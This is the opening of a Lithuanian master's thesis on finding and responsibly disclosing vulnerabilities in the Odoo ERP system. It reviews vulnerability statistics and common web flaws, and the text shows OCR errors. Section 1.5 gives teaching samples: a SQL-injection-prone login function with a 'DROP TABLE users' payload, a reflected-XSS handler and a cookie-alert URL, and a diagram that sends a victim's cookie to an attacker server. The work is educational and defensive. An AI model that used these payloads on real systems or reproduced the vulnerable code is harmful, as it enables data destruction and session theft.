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SANTRAUKA

Siame darbe atlickamas pazeidZziamumy atvirosios programinés jrangos projekte aptiki-
mo bei atsakingo atskleidimo galimybiy tyrimas. Analizuojami dazniausiai aptinkami saityno
aplikacijy pazeidziamumai, rekomendacijos, kaip tokiy pazeidziamumy isvengti. Placiau anali-
zuojamas pasirinktos atvirosios programinés jrangos projektas — verslo valdymo sistema Odoo,
trumpai apzvelgiamos kitos tokio tipo programinés jrangos alternatyvos. Taip pat nagrinéja-
mos pazeidZziamumy aptikimo programinéje jrangoje metodikos — baltosios dézés (démiy analizeé,
kodo perziura) ir juodosios dézés (penetracinis testavimas). Suprojektuotas bei jgyvendintas au-
tomatinio XSS pazeidziamumy aptikimo Odoo VVS generuojamose HTML ir PDF' ataskaitose
modulis. Tyrimo metu kodo perzituros metodu ieskota galimy pazeidziamumy programiniame ko-
de. Atlikta iSsami aptikty pazeidziamumy atsiradimo analizé, pateikti iSnaudojimo pavyzdziai ir,
kur jmanoma, pasiulyti galimi pazeidziamumy pataisymai. Pasinaudojant pasiulytu pranesimo
formatu, laikantis atsakingo atskleidimo proceduros, apie pazeidziamumus pranesta programinés
jrangos kuréjams, tokiu budu prisidedant prie projekto saugumo tobulinimo. Pateikiami tyrimo

rezultatai ir iSvados.
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SUMMARY

This thesis focuses on security vulnerability detection and responsible disclosure in open-
source software projects. Most common web application vulnerabilities are analyzed, including
recommendations on how to avoid such vulnerabilities. A selected open-source software project
—the Odoo enterprise resource planning application is analized, also reviewing other open-source
alternatives for this type of software. Also, available methods for detecting security vulnerabilites
are reviewed, including whote-box testing (taint analysis, code review) and black-box testing
(penetration testing). An automated XSS in Odoo HTML and PDF reports detection module
is designed and implemented. During the research, the code review method was used to find
possible vulnerabilities in the selected software project. A thorough analysis of the detected
vulnerabilites was performed, including exploitation examples and, where possible, proposed
vulnerability patches. Using a proposed format, the detected vulnerabilites were responsibly
disclosed to the software maintainer, in this way improving the software security. Experimental

results and conclusions are presented.



Terminy ir santrumpy zodynas

XSS (angl. Cross-site Scripting) — saityno taikomuyju programy pazeidziamumas, leidziantis
atakuotojui jterpti papildoma programinj koda j kity vartotojy perziurimus puslapius.

XSRF, CSRF (angl. Cross-site Request Forgery) — saityno svetainiy ataka, kurios metu ne-
sankcionuotos komandos jvykdomos pazeidziamoje saityno taikomojoje programoje, prie
kurios yra prisijunges atakuojamas vartotojas.

XML (angl. FExtensible Markup Language) — zyméjimo kalba, apibrézianti taisykliy rinkinj,
skirtg dokumentams aprasyti zmonéms bei kompiuteriams suvokiamu formatu.

HTML (angl. Hyper text Markup Language) — zyméjimo kalba, skirta tinklalapiams bei saityno
taikomosioms programoms kurti.

VVS (angl. Enterprise Resource Planning, ERP) — verslo valdymo sistema — programiné jranga,
skirta skaitmeninti jmones valdyma.

SQL (angl. Structured Query Language) — strukturizuota uzklausy kalba — kalba, skirta aprasyti
duomenis ir manipuliuoti jais sarysiniy duomeny baziy valdymo sistemose.

ORM (angl. Object-relational mapping) — programavimo metodika, skirta duomeny susiejimui
tarp nesuderinamy tipy sistemy objektinio programavimo kalbose.

JSON (angl. JavaScript Object Notation) — atviro standarto formatas, skirtas objektams at-
vaizduoti panaudojant zmonéms lengvai suvokiamg rakto ir reikSmeés poros sintakse.
UML (angl. Unified Modeling Language) — modeliavimo ir specifikaciju kurimo kalba, skirta
specifikuoti, atvaizduoti ir konstruoti objektiskai orientuoty programy dokumentus.
CVSS (angl. Common Vulnerability Scoring System) — nemokamas bei atviras pramonés stan-

dartas, skirtas kompiuteriy sistemy saugos pazeidziamumy rizikingumui jvertinti.

HTTP (angl. Hypertext Transfer Protocol) — taikomyjuy programy lygmens protokolas, skirtas
informacijai tarp saityno informaciniy sistemy perduoti.

AJAX (angl. asynchronous JavaScript and XML) — saityno taikomyju programy kurimo me-
todiky rinkinys, skirtas asinchroniniy klientiniy saityno taikomuyjy programy kurimui.

PDF (angl. Portable Document Format) — placiai paplites failo formatas, skirtas dokumen-
tams pateikti nepriklausomai nuo programinés, aparatinés jrangos ar operaciniy sistemy
skirtumy.

MVC (angl. Model-View-Controller) — programinés jrangos projektavimo Sablonas, skirtas var-
totojo sgsajoms kompiuteriuose jgyvendinti.

UUID (angl. Universally Unique Identifier) — 128 bity skaicius, skirtas informacijos vienetams
kompiuteriy sistemose identifikuoti.

DOM (angl. Document Object Model) — objektinis duomeny modelis — daugiaplatformeé, nuo
programavimo kalbos nepriklausoma taikomuyjy programy programavimo sgsaja, skirta
darbui su HTML, XHTML ar XML dokumentais.

SMTP (angl. Simple Mail Transfer Protocol) — interneto standartas, skirtas el. laiSkams
perduoti.

DBVS (angl. Database Management System, DBMS) — duomeny baziy valdymo sistema —
programiné jranga, skirta duomeny bazéms valdyti.

ACL (angl. Access Control List) — prieigos prie objekto teisiy sarasas kompiuteriy sistemose.



Ivadas

Sis darbas priklauso Informacijos ir informaciniy technologijy saugos studijy programai.
Darbo problematika ir aktualumas

Pleciantis informaciniy technologijy rinkai, didéja aptinkamy programinés jrangos saugumo
spragy skaicius ir jy keliama grésme, taip pat atrandami nauji pazeidziamumy tipai. Saityno tai-
komosioms programoms pazeidziamumy grésme ypatingai didelé, nes ataka pries jas gali jvykdyti
bet kas, turintis interneto prieiga. Priklausomai nuo pazeidziamumo ir programinés jrangos tipo,
ataky padariniai gali pasireiksti duomeny praradimu ar sugadinimu, privaciy asmens duomeny
paviesinimu, jmonés komercinés paslapties atskleidimu, darbo sutrikdymu ir t. t.

Siekiant aptikti galimus pazeidziamumus programinéje jrangoje yra naudojami jvairus me-
todai — statinés ir dinaminés kodo analizés jrankiai, automatinio pazeidziamumy skenavimo
jrankiai, saugumo eksperty auditas ir t. t. Sie metodai negali aptikti visy galimy pazeidziamu-
my, o daznai ir brangiai kainuoja, todél néra prieinami daugeliui atvirosios programinés jrangos
projekty. Nepaisant to, tokio tipo projektuose pazeidziamumy ieskoti gali visi bendruomenés na-
riai, kadangi iSeities kodas yra viesai prieinamas. Siame darbe bus siekiama pagerinti pasirinkto
atvirojo kodo projekto sauguma.

Darbo tikslas ir uzdaviniai

Darbo tikslas: jvertinti saugumo spragy istaisymo atvirosios programineés jrangos projek-
tuose galimybes.

Uzdaviniai:

1. pasirinkti aktualy atvirosios programineés jrangos projekta;

2. isanalizuoti galimus daznai pasitaikancius pazeidziamumus;

3. rasti ir pasiulyti pataisymus saugumo spragoms pasirinktame atvirosios programinés jran-
gos projekte;

4. pasiulyti atsakingo pazeidziamumy atskleidimo pranesimy formata.

Darbo rezultatai ir jy svarba

Numatomi Sio darbo rezultatai:
e tyrimo metu bus sudarytas tiriamajame atvirojo kodo projekte aptikty pazeidziamumy

sarasas, juy grésmes jvertinimas;

o aptiktiems pazeidziamumams bus pasiulyti pataisymai, rekomendacijos, kaip galima is-
vengti tokiy spragy programuojant;

 apie aptiktus pazeidziamumus bus pranesta projekto kuréjams — siekiant istaisyti aptiktas
spragas ir tokiu budu pagerinti programineés jrangos sauguma;

o aprasytos ir jvertinos galimybés prisidéti prie atvirosios programinés jrangos saugumo to-

bulinimo.

Darbo struktura

Darba sudaro 5 skyriai:
1. Analizé. Skyriuje analizuojami dazniausiai aptinkami saityno aplikaciju pazeidziamumai,
apzvelgiamos verslo valdymo sistemos.

2. Projektas. Skyriuje pateikiamas automatinio XSS pazeidziamumy aptikimo modulio pro-



jektas.

3. Kodo perziira. Siame skyriuje aprasomi kodo perzitiros metu Odoo verslo valdymo siste-
moje (toliau — VVS) aptikti pazeidziamumai.

4. Atsakingo pazeidziamumy atskleidimo tyrimas. Skyriuje pateikiami ir apibendrinami ap-
tikty saugumo pazeidziamumy atsakingo atskleidimo rezultatai, aprasomas bendradarbia-
vimas su programinés jrangos kuréju.

5. Isvados. Siame skyriuje pateikiamos tyrimo isvados.
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1. ATVIROSIOS PROGRAMINES JRANGOS PROJEKTO BEI
PAZEIDZIAMUMU ANALIZE

1.1. Analizés tikslas

Analizés metu bus siekiama iSanalizuoti tiriamuosius objektus (VVS, saityno aplikaciju

pazeidziamumus) ir apibrézti tolimesnio darbo metodika bei sritj.
1.2. Tyrimo objektas, sritis ir problema

Informaciniy sistemy saugos sritis. Tiriami objektai - verslo valdymo sistemos, saityno

aplikacijy pazeidziamumai.

1.3. Pazeidziamumuy statistika

JAV nacionalinio standarty ir technologijy instituto renkamos duomeny bazés duomenimis!,
per metus duomeny bazéje uzregistruojamy pazeidziamumy kiekis nuo 2000 mety (1020 pazei-
dziamumy) iki 2016 mety (6449 pazeidziamumy) padidéjo daugiau nei Sesis kartus, o daugiausiai

pazeidziamumy uzregistruota 2014 metais (7937) (1.1 pav.).
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1.1 pav. Per metus NIST duomeny bazéje uzregistruojamy pazeidziamumuy statistika

Japonijos informaciniy technologijy skatinimo agenturos (IPA) iki 2016 mety gruodzio mén.

Uhttps:/ /web.nvd.nist.gov/view /vuln/statistics-results
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pabaigos sukauptais duomenimis, is 3433-y gauty pranesimy apie pazeidziamumus programinés
jrangos produktuose, 45 % (1382) i$ tinkamuy 3057 pranesimuy buvo istaisyti ir apie tai pranesta
viesai. Siek tiek daugiau nei pusé — 51 % (1556) pranesimy apie paZzeidziamumus buvo vis dar
sprendziami, t. y., neturintys pataisymo. 83 pranesimai nebuvo patvirtinti kaip pazeidziamumai,
o 36 atvejais programineés jrangos gamintojas apie pazeidziamuma jspéjo kiekviena is vartotojy

individualiai (zr. 1.2 pav.) [1].
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1.2 pav. IPA iki 2016 gruodzio pabaigos uzregistruoty P] pazeidziamumy buseny pasiskirstymas

Analogiskai tos pacios agenturos (IPA) iki 2016 mety gruodzio mén. pabaigos sukauptais
duomenimis apie pazeidziamumus interneto svetainése, is 9483-u gauty pranesimy 74 % (6879)
is tinkamais pripazinty 9252-y pazeidziamumy buvo istaisyti. Gerokai maziau nei P] atveju
— tik 6 % (559) pranesimy apie pazeidziamumus buvo vis dar sprendziami, t. y., neturintys
pataisymo. 12 % atvejuy pazeidziamumo nagrinéjimas buvo nutrauktas IPA pavieSinus jspéjamajj
apsisaugojimo nuo pazeidziamumo pranesima. 6 % (545) pranesimy nebuvo patvirtinti kaip
pazeidziamumai, o 139 atvejais nepavyko susisiekti su interneto svetainés administratoriais (zr.
1.3 pav.) [1].

o D DO D
o3 RRLN P
T T T T T T T T T
Q Q \} Q L \} Q Q Q Q
\ \ \ \ Q \ \ \ \)
SN RO R S S X
— [Staisyta == Saugos pranesimas

—Ne pazeidziamumast—31 Nepataisoma
3 Sprendziama =3  Netinkamas

1.3 pav. IPA iki 2016 gruodzio pabaigos uZregistruoty saityno svetainiy pazeidZziamumuy buseny

pasiskirstymas

Is TPA pateiktos ataskaitos matyti, jog pranesimy apie saityno svetainiy pazeidziamumus
pateikiama gerokai daugiau ( 2,75 karto) nei apie atskirus programinés jrangos produktus. Taip
pat galima pastebéti, jog interneto svetainiy administratoriai Zymiai dazniau bei greic¢iau istaiso
pranestus pazeidziamumus nei programinés jrangos kuréjai — atitinkamai 51 % ir 6 % visy

tinkamy pranesimy apie pazeidziamumus.
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1.4. Verslo valdymo sistemos

Verslo valdymo sistema (VVS) (angl. Enterprise Resource Planning, ERP) — programiné
jranga, skirta skaitmeninti jmonés valdyma, galinti apimti ir integruotis j visus jmonés vers-
lo procesus, naudojama apskaitos vedimui palengvinti, efektyviam visy resursy iSnaudojimui,
kontaktams valdyti, efektyviam tiekimo grandinés veikimui uztikrinti, analitinés jmonés veiklos
ataskaitoms sudaryti [2].

Verslo valdymo sistemos daznai susideda i atskiry moduliy, kurie pasirenkami pagal konk-
reCius jmoneés poreikius. | viena sistema galima integruoti ir skirtingy gamintojy modulius [2].
DaZniausiai pasitaikancios verslo valdymo sistemy dalys (moduliai) [2]:
apskaita;
pardavimai;
sandélis;
zmogiskieji istekliai;
gamyba;
kiti.

S A
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1.4.1.

Atvirosios verslo valdymo sistemos

1.1 lentelé. Aktyviy atviryjy verslo valdymo sistemy projekty sgrasas

Pavadinimas Naudojamos technologijos | Licencija | Projekto pradzia | Paskutiné versija

Adempiere Java GPL 2006 2015 (3.8 LTS)

Apache OFBiz |Java Apache 2.0 |- 2014 (12.04.04)

Dolibarr JavaScript, PHP, MySQL |GPLv3 2003 2016 (3.8.3)
arba PostgreSQL

Epesi PHP, MySQL MIT — 2015 (1.7.0)

ERP5 Python, JavaScript, Zope, | GPL 2004 2014 (5.5)
MariaDB arba MySQL

FERPNEXT Python, JavaScript, GPL 2008 2014 (4.1.0)
MySQL

FrontAccounting| PHP, MySQL GPLv3 2007 2014 (2.3.21)

iDempiere Java GPLv2 2012 2015 (3.1)

no erp PHP, JavaScript, MySQL | MPL - 2015 (0.3.1)

LedgerSMB Perl, PostgreSQL GPL 2006 2014 (1.4.7)

Odoo Python, PostgreSQL, AGPLv3 |2014 2015 (9.0)
JavaScript

Postbooks C++, JavaScript, CPAL 2007 2014 (4.5.0)
PostgreSQL

SQL-Ledger Perl, PostgreSQL GPL 1999 2014 (3.0.6)

Tryton Python, GTK+ GPLv3 2008 2015 (3.8)

WebERP PHP, MySQL GPLv2 2003 2015 (4.12.2)

1.1 lenteléje pateikiamas su atvirojo kodo licencija platinamy verslo valdymo projekty,
per paskutiniuosius dvejus metus isleidusiy sistemos atnaujinima, sarasas. Dar daugiau nei 60
gamintoju sitlo komercine verslo valdymo programine jranga [3]. VVS projekty gausa bei branda
rodo, jog egzistuoja pastovus didelis tokio tipo programinés jrangos poreikis.
1.4.2. Odoo verslo valdymo sistema

Odoo VVS pirmoji versija buvo isleista 2005-yju vasario meénesj, tada ji vadinosi Tiny ERP.

IS pradziy sistemg sudaré duomeny bazés serveris ir klientiné taikomoji programa, paremta
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GTK grafinés sasajos karkasu. Veéliau, 2009 metais, projektas iSsisakojo i dvi dalis — OpenERP
bei Tryton VVS. Tryton toliau tebenaudojo GTK pagrjsta darbalaukio klienta, kur OpenERP
pradéjo plétoti saityno klientg. Tai lémé greitg projekto isSpopuliaréjima, kadangi palengvéjo
sistemos diegimas ir plétojimas. 2014 projekto autoriai kartu su 8-aja sistemos versija pakeité
projekto pavadinima i Odoo, kadangi terminas FRP (VVS) tapo per siauras visam sistemos
funkcionalumui apibudinti.

Viena is didziausiy astuntosios versijos naujoviy buvo saityno puslapiuy kuré¢jo (angl. websi-
te builder) integracija i verslo valdymo sistema. Si naujové leidZia jmonei be vargo susikurti
paprasta reprezentacinj tinklalapj, taip pat j tinklalapj pridéti integruota elektronine parduotu-
ve (angl. e-shop). Pardavimai e. parduotuvéje integruoti i VVS, todél nereikia skirti papildomy
lésy ir laiko integracijai tarp skirtingy sistemy. Taciau sio modulio naudojimas taip pat padi-
dina jmonés atakos pavirsiy, kadangi verslo valdymo sistema privalo buti (bent i$ dalies) viesai
prieinama internetu. Nenaudojant Sio modulio, verslo valdymo sistemos serveris gali veikti, pvz.,
vidiniame jmonés tinkle, ir prieiga prie sistemos apsiriboja jmonés darbuotojais. Dél Sios prie-
zasties tampa ypac¢ svarbu, kad per viesai prieinama sistemos dalj (tinklalapj, e. parduotuve)
nebuty jmanoma jsilauzti ar kitaip sutrikdyti VVS veiklos. Taip pat is to seka, jog ir pati i$
iSorés neprieinama VVS dalis nuo Siol turi buti projektuojama ir vystoma atsizvelgiant j tai, jog
sistema naudojimo metu bus viesai prieinama internetu (naudojantis tinklalapiu, e. parduotuve,
diskusijy forumu ir t. t.)

Odoo VVS yra platinama pagal LGPL atvirojo kodo licencija. Nuo 9-osios projekto ver-
sijos atskirai yra platinama mokama sistemos versija Enterprise. Sios versijos privalumas yra
papildomo funkcionalumo jskiepiai, neprieinami atvirojo kodo versijoje.

Odoo VVS yra paremta jskiepiy struktura, daznai atitinkanc¢ia anksc¢iau minétas verslo pro-
cesy sritis. Kartu su bendruomenine VVS versija yra platinami apie 30 pagrindiniy bei dar 250
smulkesniy moduliy. Odoo VVS taip pat yra prieinama apie 3 tukst. treciyju saliy (bendruome-
nés palaikomy) moduliy [4]. Apytiksliais skai¢iavimais, Odoo VVS projektas susideda i$ beveik
625 tukst. kodo eiluciy 2. Dél didelés tiriamosios sistemos apimties §io darbo metu ketinama
apsibrézti sistemos dalj, kurioje bus ieskoma pazeidziamumy.

Zinoma, reikia nepamirsti, jog dél mazesnio démesio saugumui ar tiesiog dél prastesniy prog-
ramavimo jgudziy treciyjy saliy jskiepiuose daznai aptinkama gerokai daugiau pazeidziamumy
[5, p. 7], taciau sio darbo metu bus tiriama tik Odoo VVS branduolys (angl. core) bei oficialiai
kuréjy palaikomi jskiepiai, laikant, jog butent Sios sistemos dalys yra placiausiai prieinamos, dél
to gali buti lengviausiai iSnaudojamos atakuotojy.

2005 mety liepos mén. Odoo bendruomené inicijavo sutelktinio finansavimo (angl. crowd-
funding) kampanija?, siekiant surinkti 10,000 svary sterlingy Odoo kodo bazés saugos audito
finansavimui. Tai parodo, jog Odoo bendruomenés nariai suvokia tokio tipo programineés jran-
gos saugumo svarba ir siekia ji tobulinti. Nepaisant to, kampanijos pabaigoje buvo sutelkta tik

92 % uzsibréztos sumos, todél kampanija buvo nesékminga.

2Apskaiéiuota su cloc jrankiu jtraukiant Python, JavaScript, XML ir CSS kodo failus.

3https: / /www.indiegogo.com /projects/odoo-business-software-security-audit-secureerp—2# /
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1.4.2.1. Sistemos implementacija

Odoo VVS paremta MVC (angl. Model-View-Controller) sistemos architekturos modeliu.
Serverio logika (~50 %) igyvendinta Python programavimo kalba, saityno klientas (~32 %),
paremtas JavaScript kalba. Odoo sistema naudoja atskirai Siai sistemai sukurta Sablony variklj
QWeb*, kuris paremtas XML kalba.

Duomenims saugoti Odoo naudoja PostgreSQL DBVS.

1.5. Saityno aplikacijy pazeidziamumuy apzvalga

Siame skyrelyje trumpai apzvelgiami dazniausiai pasitaikantys saityno aplikacijy pazeidzia-
mumai remiantis OWASP projekto svetainéje renkama statistika [6]. ApZvalgos metu taip pat
pateikiami zinomi apsisaugojimo nuo pazeidziamumy budai ir jvertinama, kokiy pazeidziamumy

tikslinga ieskoti tyrimo metu.

4https://Www.odoo.com/docurnentation/é}.O/reference/qvveb.html
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1.3 lentelé. Labiausiai paplitusiy saityno aplikacijy pazeidziamumuy sgrasas

Nr.| Pavadinimas [snaudojamumas | Paplitimas Aptinkamumas

1 |SQL jterpimas Lengvas Vidutiniskas Vidutiniskas

2 | Pazeidziamas Vidutinis Daznas Vidutiniskas
autentifikacijos ar sesijos
mechanizmas

3 |Iterptiniy komandy atakos |Vidutinis Labai daznas Lengvas
(angl. XSS)

4 | Nesaugios tiesiogineés Lengvas Vidutiniskas Lengvas
nuorodos j objekta

5 |Neteisinga saugumo Lengvas Vidutinis Lengvas
konfiguracija

6 |Jautriy duomeny Sudétingas Nedaznas Vidutiniskas
paviesinimas

7 |Trukstamas funkcinio Lengvas Vidutinis Vidutiniskas
lygmens prieigos tikrinimas

8 |Kryzminis svetainés Vidutiniskas Vidutinis Lengvas
uzklausos klastojimas (angl.
CSRF)

9 |Komponenty su zinomomis | Vidutiniskas Daznas Sudétingas
spragomis naudojimas

10 | Nepatvirtintas nukreipimas | Vidutiniskas Nedaznas Lengvas

1.5.1. Iterpimas

SQL jterpimas yra kodo jterpimo ataky klasé, kurios metu vartotojo jvesti duomenys yra

iterpiami j dinamiskai generuojama SQL uzklausa ir véliau apdorojami kaip SQL kodas. SQL

jterpimo pazeidziamumas yra labai paplites — 2005 metais atlikto tyrimo metu jvertinta, jog is

300 tyrimo metu analizuoty interneto svetainiy, 97 % buvo pazeidziamos SQL jterpimo ataky

[7].

Minimalus tokio pazeidziamumo pavyzdys Python programavimo kalboje:

def check_login(self, cr, username, password):
query = "SELECT password_hash FROM users WHERE username = 'Js'" J username

cr.execute(query)
# ...
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Siame pavyzdyje SQL uzklausos pagalba lenteléje , users“ iesko vartotojy su vartotojo jvestu
prisijungimo vardu, saugomu kintamajame username. Uzklausos konstravimo metu (% operaci-
ja), query kintamajame saugoma uzklausa bus sujungta su vartotojo vardu. Jei kaip vartotojo
vardg perduosime specialiai paruosta reiksme, galésime pakeisti originaliosios SQL uzklausos
prasme ir taip jvykdyti SQL jterpimo ataka. Tokiu budu galésime duomeny bazéje jvykdyti uz-
klausas, kuriy sistemos programuotojas nenumaté, pvz. skaityti slaptus duomenis, jterpti, keisti

ir trinti eilutes ir t. t. [8, p. 2] ParuoSe tokia kintamojo username reikSme:

‘test'; DROP TABLE users; —-

istrinsime visa vartotoju lentele users (jei naudojamas duomeny bazés vartotojas turi tokia

privilegija).
1.5.1.1. Apsisaugojimas

Apsisaugoti nuo SQL jterpimo ataky galima tikrinant ir iSvalant vartotojo jvestus duo-
menis (angl. wvalidation and sanitization). Dauguma duomeny baziy programavimo biblioteky
siam tikslui sitlo patogias priemones — paruostuosius sakinius (arba kitaip, parametrizuotas uz-
klausas). Ju pagalba, dinaminiai parametrai, naudojami SQL sakiniuose, pries jterpiant i SQL
uzklausg yra iSvalomi. [9, p. 339]. Paruostojo sakinio pavyzdys:
def check_login(self, cr, username, password):

query = "SELECT password_hash FROM users WHERE username = 7s"

cr.execute(query, (username,))
# ...

1.5.1.2. Pazeidziamumas tiriamosios VVS kontekste

Odoo VVS naudoja nuosava objektinio duomeny bazés susiejimo lygmenj (angl. ORM), pa-
remta psycopg? valdikliu PostgreSQL duomeny bazei. ORM susiejimo lygmenyje SQL jterpimo
pazeidziamumo tikimybé nedidelé, kadangi uzklausoms naudojami paruostieji sakiniai. Nepai-
sant to, kai kuriuose moduliuose, siekiant lankstumo ar geresniy techniniy charakteristiky (pvz.
vykdymo spartos), yra naudojamos ir tiesioginés SQL uzklausos. Dél Sios priezasties tikslinga

tirti butent Siy uzklausy konstravima ir vykdyma Odoo sistemoje.

1.5.2. PazZeidziamas autentifikacijos ar sesijos mechanizmas

Autentifikacijos ir sesijos valdymo mechanizmas apima visus vartotojy autentifikacijos bei
aktyviy prisijungimo sesiju valdymo aspektus. Saityno aplikacijose vartotoju autentifikavimas
dazniausiai jgyvendinamas prisijungimo vardo ir slaptazodzio pagalba. Galimi stipresni auten-
tifikacijos metodai, pvz. paremti viesojo rakto kriptografija ar biometriniais jrenginiais, taciau
sie metodai sunkiau jgyvendinami ir kainuoja brangiau.

Daznai pasitaikantys $j pazeidziamuma jtakojantys veiksniai:
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1. vartotoju prisijungimo duomenys saugomi neapsaugoti ar naudojant netinkamas (pasenu-
sias) apsaugos priemones;

2. prisijungimo duomenis galima atspéti ar perrasyti dél prasty vartotojy paskyry valdymo
funkcijuy;

3. sesijy identifikatoriai matomi puslapio URL adrese;

4. sesijos neturi apibrézto galiojimo laiko ar yra nekorektiskai panaikinamos vartotojui atsi-
jungiant;

5. vartotojy slaptazodziai, sesijy identifikatoriai ar kiti prisijungimo duomenys yra siunciami

neapsaugotu kanalu.

Kadangi sis pazeidziamumas yra bendrinio tipo (ji itakoti gali daugybeé veiksniy), Sio tipo

pazeidziamumy siame darbe nebus ieskoma.

1.5.3. Iterptiniy komandy atakos

Iterptiniy komandy atakos (angl. XSS arba cross-site scripting) jvyksta, kai duomenys
i$ nepatikimo Saltinio (daZniausiai — i vartotojo, saityno uzklausos) yra jterpiami j dinaminj
turinj (pvz. HTML dokumenta), siunc¢iama vartotojui. Atvaizdavimo metu (pvz. narsykléje),
iterptasis kodas gali buti jvykdomas. Tokiu budu atakuotojo kodas jvykdomas aukos vartotojo
kontekste, t. y. prieinami vartotojo slapukai, tinklalapio turinys, skirtas tam vartotojui ir t. t.
XSS kenkéjiska koda dazniausiai sudaro JavaScript kodas, taciau pasitaiko ir HTML kodo ar
Flash aplikaciju turinio ataky. ISskiriamos trys pagrindinés XSS ataky rusys [10, p. 69]:

1. Issaugotos XSS atakos — jterpiamas kenkéjiskas kodas visam laikui iSsaugomas pazeidzia-
mame serveryje, pvz. jo duomeny bazéje. Véliau sis kodas nusiunéiamas aukoms ir jvykdo-
mas jy narsyklése. Sio tipo atakos laikomos labiausiai pavojingomis [11], kadangi issaugotas
zalingas kodas gali biiti pateikiamas iskart visiems puslapio lankytojams. Sio tipo atakos
dar vadinamos pirmojo tipo (angl. Type-I) atakomis.

2. Atspindétos XSS atakos — Sios atakos metu kenkéjiskas kodas yra perduodamas kaip uz-
klausoje ir yra grazinamas nepakeistas (atspindimas) saityno serverio kaip klaidos pranesi-
mas, paieskos rezultatas ar kitoks turinys. Aukos sia ataka iSnaudojamos dazniausiai kitu
keliu, pvz. el. laisku ar nuoroda kitoje svetainéje. Paspaudus ant nuorodos ar perduodant
forma su specialiai paruostu kenkeéjisku kodu, serveris grazina ji kaip dalj atsako j uzklau-
sg. Aukos narsykléje kodas jvykdomas kaip patikimas, kadangi atkeliavo is ,patikimo*
serverio. Sio tipo atakos dar vadinamos antrojo tipo (angl. Type-II) atakomis.

3. Objektinio duomeny modelio (angl. Document Object Model, DOM) atakos — panasios
i XSS atspindéjimo ataka, taciau Sios atakos atveju kenkéjiskas kodas néra siunciamas
i serverj. Sio tipo atakos galimos HTML dokumentuose, be patikrinimo naudojanciuose
duomenis i§ document.location, document. URL ar document.referer kity atakuotojo galimai

manipuliuojamy lauky [11].
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Atakuotojas Aukos Pazeidziama Atakuotojo

nardykle svetainé serveris
% Nusiunéia aukai nuoroda, pvz.: | ] 4|

“ http://bankas.It/page.php? Sisl

param=<script>...</script>" j—_ i ]

GET /page.php?

param=<script>...</script>

»
>

HTTP/1.1 200 OK
<htmlI>
<script>...</script>
</html|>

GET /evil.php?cookie=abc123

\4

abcl23

A

1.4 pav. Atspindétos XSS atakos seky diagrama

1.4 pateikta atspindétos XSS atakos sekuy diagrama. Visy pirma, atakuotojas aukai (pvz. el.
pastu) nusiuncia kenkéjiska nuoroda j XSS ataka pazeidziama svetaine. Vartotojui paspaudus
ant Sios nuorodos, pazeidziamos svetainés serveris HI'TP atsako turinyje atspindés nuorodoje
buvusj kenkéjiska koda, kuris aukos kompiuteryje bus jvykdytas aukos narsyklés kontekste, t.
y. bus pasiekiama narsyklés busena, pvz. slapukai. Kadangi JavaScript kodo pagalba galima
ivykdyti uzklausas j kitas svetaines, atakuotojas galés nusisiysti aukos slapukus pazeidziamoje
svetainéje | savo valdoma serverj (jskaitant sesijos identifikatoriaus slapuka, jei toks egzistuoja).
def render(request):

name = request.GET.get('name', None)
return '<html><body><hl>Labas, 7%s!</h1></body></html>' % name

Siame pavyzdyje pateikiamas atspindéta XSS ataka pazeidziamo serverio aplikacijos meto-
do, apdorojancio HTTP uzklausa, kodas. Metodas grazina minimaly HTML dokumenta, kuria-
me atspausdinamas GET parametru perduotas vartotojo vardas. Kadangi reikSmé neisvaloma,
perdavus specialiai paruosta reiksme, galésime papildyti grazinama HTML dokumentg savo ele-

mentais. Pvz. S$i nuoroda iSves pranesima su vartotojo slapuky duotoje svetainéje reiksme:

‘ http://localhost:8000/1labas?name=/><script>alert(document.cookie) ;</script>

1.5.3.1. Apsisaugojimas

Komandy jterpimo atakos daznai buna itin sudétingos, taigi néra ir vieno paprasto budo
nuo juy apsisaugoti. Saityno aplikacijy kuréjai siam tikslui naudoja jvesties ir iSvesties filtrus
(duomeny validacija bei isvalymas) vartotojo jvedamiems duomenims. Duomeny validavimo
filtro atveju tikrinama, ar jvesti duomenys atitinka is anksto apibrézta duomeny tipg ar sablong
(pvz. telefono numeris), neleidziant jvesti reikalavimy netenkinanc¢iy reiksmiy. Duomeny isvaly-
mo atveju, bet kokie duomenys yra leidziami, tac¢iau pries iSsaugant ar iSvedant reiksme j ekrang
tekstinéje duomeny israiskoje esantys HTML sintaksés simboliai (pvz. &, <, >, /) pakeic¢iami j

XML esybes (pvz. atitinkamai &amp;, &lt;, &gt;, &#x2F;). Apsisaugoti taip pat jmanoma ir
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vartotojo puséje, pvz. analizuojant serverio grazinama turinj jgaliotame serveryje (angl. prozy),
igyvendinant apsaugos nuo XSS ataky funkcijas narsykléje ar pasitelkiant papildoma narsyklés

iskiepj (pvz. Firefox narSyklei skirta NoScript®) [10, 11].
1.5.3.2. Pazeidziamumas tiriamosios VVS kontekste

Verta paminéti, jog Odoo VVS sistemoje, duomenys isvalomi tik atvaizdavimo metu, t.
y. konstruojant tam tikro puslapio HTML dokumentg pagal apibrézty vaizdinio XML sablo-
na, o jvedimo metu duomenys néra valomi (JavaScript kliente yra atliekamas jvesties duomeny
atitikimo tam duomeny tipui tikrinimas, taciau tekstinés reikSmés néra tikrinamos). Tai reis-
kia, jog padidéja iSsaugoty komandy jterpimo tikimybé, taigi tikslinga tyrimo metu ieskoti Sio

pazeidziamumo.
1.5.4. Nesaugios tiesioginés nuorodos j objekta

Sis pazeidziamumas iskyla tuomet, kai saityno aplikacija suteikia prieiga prie sistemoje sau-
gomu objekty priklausomai nuo vartotojo jvesty duomeny (pvz. pagal identifikatoriuy), taciau
néra atliekama arba atliekama nepakankama autorizacija. Tokiu budu atakuotojas, modifikuo-

damas jvesties parametrus, gali jgyti prieiga prie sistemos objekty ar faily. Pavyzdziui:

‘ http://pvz.lt/saskaita?saskaitos_id=108691

Siame pavyzdyje sistema atvaizduoja vartotojui iSrasyta saskaita pagal pateikta saskaitos
numerj (identifikatoriy) saskaitos_id. Kadangi Sis parametras yra santykinai nedidelis skaicius,
galima nuspéti, jog saskaity numeriai generuojami is eilés ir saskaitos, kuriy numeriai mazesni,
taip pat turéty egzistuoti. Jei serveryje nebus atlickama papildomas autorizacijos patikrinimas,
bus galima pamatyti kitiems asmenims israsytas saskaitas, tokiu budu galimai atskleidziant

konfidencialig informacija (pvz. asmens koda).

1.5.4.1. Apsisaugojimas
Nuo Sio pazeidziamumo apsisaugoti galima dviem budais:

1. naudoti sunkiai atspéjamus identifikatorius nuorodoms j objektus (pvz. UUID®);

2. prieigos prie objekto metu tikrinti, ar vartotojas yra autorizuotas pasiekti sj objekta.

